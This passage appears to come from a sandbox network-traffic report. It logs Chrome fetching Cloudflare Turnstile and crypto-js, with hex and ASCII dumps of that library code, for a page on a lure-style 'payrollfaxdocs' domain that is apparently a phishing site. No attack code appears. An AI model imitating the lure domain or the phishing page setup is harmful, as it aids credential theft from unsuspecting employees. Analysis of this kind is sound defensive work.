2025-02-14 16:23:02 UTC	1369	IN	Data Raw: 5b 37 5d 3e 3e 3e 30 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 Data Ascii: [7]>>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(
2025-02-14 16:23:02 UTC	1369	IN	Data Raw: 72 72 61 79 28 74 2e 62 75 66 66 65 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d Data Ascii: rray(t.buffer,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE=
2025-02-14 16:23:02 UTC	1369	IN	Data Raw: 3d 6e 3b 76 61 72 20 6f 3d 72 2e 63 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 Data Ascii: =n;var o=r.charAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCD
2025-02-14 16:23:02 UTC	1369	IN	Data Raw: 36 37 32 39 36 2a 61 2e 61 62 73 28 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e Data Ascii: 67296*a.abs(a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>
2025-02-14 16:23:02 UTC	1369	IN	Data Raw: 6d 2c 79 2c 32 33 2c 41 5b 33 39 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c Data Ascii: m,y,23,A[39]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49734	104.18.94.41	443	3968	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-14 16:23:02 UTC	703	OUT	GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://payrollfaxdocs-shared-employid6237262721.deliberate9.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-14 16:23:02 UTC	386	IN	HTTP/1.1 302 Found Date: Fri, 14 Feb 2025 16:23:02 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/324d0dcf743c/api.js Server: cloudflare CF-RAY: 911e667e2dd22395-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49741	104.18.94.41	443	3968	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-14 16:23:02 UTC	687	OUT	GET /turnstile/v0/b/324d0dcf743c/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://payrollfaxdocs-shared-employid6237262721.deliberate9.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-14 16:23:02 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 16:23:02 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48139 Connection: close accept-ranges: bytes last-modified: Tue, 11 Feb 2025 23:52:12 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 911e66822f6818f2-EWR alt-svc: h3=":443"; ma=86400
2025-02-14 16:23:02 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 67 29 2c 73 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 61 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 6a 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,t,a,o,c,l,g){try{var h=e[l](g),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function jt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);funct
2025-02-14 16:23:02 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 53 72 28 65 2c 74 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 74 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 69 74 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3d 74 21 3d 6e 75 Data Ascii: e}function Sr(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function it(e,t){return t=t!=nu
2025-02-14 16:23:02 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 6f 74 28 65 2c 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 53 65 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 71 74 28 65 29 7c 7c 7a 74 28 65 2c 74 29 7c 7c 58 74 28 65 2c 74 29 7c 7c 47 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 56 65 28 65 2c 74 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(a))return ot(e,t)}}function Se(e,t){return qt(e)\|\|zt(e,t)\|\|Xt(e,t)\|\|Gt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ve(e,t){var a={label:0,sent:function(){if(l[0
2025-02-14 16:23:02 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 51 74 3d 33 30 30 30 32 30 3b 76 61 72 20 50 65 3d 33 30 30 30 33 30 3b 76 61 72 20 57 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Qt=300020;var Pe=300030;var We=300031;var j;(fu
2025-02-14 16:23:02 UTC	1369	IN	Data Raw: 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 65 65 7c 7c 28 65 65 3d 7b 7d 29 29 3b 76 61 72 20 63 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 63 65 7c 7c 28 63 65 3d 7b 7d 29 29 3b 76 61 72 20 51 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 51 7c 7c 28 51 3d 7b 7d 29 29 3b 76 Data Ascii: e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ee\|\|(ee={}));var ce;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ce\|\|(ce={}));var Q;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(Q\|\|(Q={}));v
2025-02-14 16:23:02 UTC	1369	IN	Data Raw: 6f 66 20 65 3d 3d 22 73 74 72 69 6e 67 22 26 26 4e 72 2e 74 65 73 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 70 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 4c 2e 4e 4f 52 4d 41 4c 2c 4c 2e 43 4f 4d 50 41 43 54 2c 4c 2e 49 4e 56 49 53 49 42 4c 45 2c 4c 2e 46 4c 45 58 49 42 4c 45 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 76 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 76 61 72 20 6b 72 3d 2f 5e 5b 61 2d 7a 5d 7b 32 2c 33 7d 28 5b 2d 5f 5d 5b 61 2d 7a 5d 7b 32 7d 29 3f 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 Data Ascii: of e=="string"&&Nr.test(e)}function pt(e){return M([L.NORMAL,L.COMPACT,L.INVISIBLE,L.FLEXIBLE],e)}function vt(e){return M(["auto","manual","never"],e)}function mt(e){return M(["auto","manual","never"],e)}var kr=/^[a-z]{2,3}([-_][a-z]{2})?$/i;function gt(e
2025-02-14 16:23:02 UTC	1369	IN	Data Raw: 20 6f 3b 61 3d 28 6f 3d 65 5b 22 62 61 73 65 2d 75 72 6c 22 5d 29 21 3d 3d 6e 75 6c 6c 26 26 6f 21 3d 3d 76 6f 69 64 20 30 3f 6f 3a 61 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 67 2c 68 29 7b 76 61 72 20 73 3d 54 74 28 61 2c 63 29 2c 70 3d 6c 3f 22 68 2f 22 2e 63 6f 6e 63 61 74 28 6c 2c 22 2f 22 29 3a 22 22 2c 5f 3d 68 3f 22 3f 22 2e 63 6f 6e 63 61 74 28 68 29 3a 22 22 2c 49 3d 61 5b 22 66 65 65 64 62 61 63 6b 2d 65 6e 61 62 6c 65 64 22 5d 3d 3d 3d 21 31 3f 22 66 62 44 22 3a 22 66 62 45 22 3b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 73 2c 22 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 70 2c 22 74 75 72 6e 73 74 69 6c 65 Data Ascii: o;a=(o=e["base-url"])!==null&&o!==void 0?o:a}return a}function Rt(e,t,a,o,c,l,g,h){var s=Tt(a,c),p=l?"h/".concat(l,"/"):"",_=h?"?".concat(h):"",I=a["feedback-enabled"]===!1?"fbD":"fbE";return"".concat(s,"/cdn-cgi/challenge-platform/").concat(p,"turnstile
2025-02-14 16:23:02 UTC	1369	IN	Data Raw: 28 65 2c 74 29 7b 69 66 28 74 79 70 65 6f 66 20 74 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 21 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 74 65 28 65 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 29 7b 69 66 28 74 79 70 65 6f 66 20 52 65 66 6c 65 63 74 3d 3d 22 75 6e Data Ascii: (e,t){if(typeof t!="function"&&t!==null)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&te(e,t)}function ze(){if(typeof Reflect=="un
2025-02-14 16:23:02 UTC	1369	IN	Data Raw: 22 7c 7c 74 79 70 65 6f 66 20 74 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 3f 74 3a 71 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 64 72 28 65 29 7b 76 61 72 20 74 3d 7a 65 28 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 6c 65 28 65 29 2c 63 3b 69 66 28 74 29 7b 76 61 72 20 6c 3d 6c 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 63 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 6c 29 7d 65 6c 73 65 20 63 3d 6f 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 3b 72 65 74 75 72 6e 20 73 72 28 74 68 69 73 2c 63 29 7d 7d 76 61 72 20 66 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 75 72 28 61 2c 65 29 3b 76 61 72 20 74 3d Data Ascii: "\|\|typeof t=="function")?t:qe(e)}function dr(e){var t=ze();return function(){var o=le(e),c;if(t){var l=le(this).constructor;c=Reflect.construct(o,arguments,l)}else c=o.apply(this,arguments);return sr(this,c)}}var fr=function(e){"use strict";ur(a,e);var t=
2025-02-14 16:23:02 UTC	1369	IN	Data Raw: 2c 22 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 63 2c 22 66 65 65 64 62 61 63 6b 2d 72 65 70 6f 72 74 73 2f 22 29 2e 63 6f 6e 63 61 74 28 58 65 28 65 29 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 28 6c 3d 74 2e 70 61 72 61 6d 73 2e 74 68 65 6d 65 29 21 3d 3d 6e 75 6c 6c 26 26 6c 21 3d 3d 76 6f 69 64 20 30 3f 6c 3a 74 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 61 29 3b 74 2e 77 72 61 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 6d 28 22 43 61 6e 6e 6f 74 20 69 6e 69 74 69 61 6c 69 7a 65 20 57 69 64 67 65 74 2c 20 45 6c 65 6d 65 6e 74 20 6e 6f 74 20 66 6f 75 6e 64 20 28 23 22 2e 63 Data Ascii: ,"/cdn-cgi/challenge-platform/").concat(c,"feedback-reports/").concat(Xe(e),"/").concat(t.displayLanguage,"/").concat((l=t.params.theme)!==null&&l!==void 0?l:t.theme,"/").concat(a);t.wrapper.parentNode\|\|m("Cannot initialize Widget, Element not found (#".c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49742	104.17.25.14	443	3968	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-14 16:23:02 UTC	386	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-14 16:23:02 UTC	959	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 16:23:02 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 1918055 Expires: Wed, 04 Feb 2026 16:23:02 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gTDptP1nl633G4atm051nt0KVOJONMTrgBDDeU66RXLQMgAv9ixi47Nn3SNGyDfaEHT3MRhHgLi%2BZh2vhilUtK6arJn7v1ozYi7P8I6Etm%2BTbjhcAU2aY7nzlL4BT6D0V%2BqVaFh0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 911e6682ef378cdd-EWR alt-svc: h3=":443"; ma=86400
2025-02-14 16:23:02 UTC	410	IN	Data Raw: 37 62 66 32 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bf2!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof 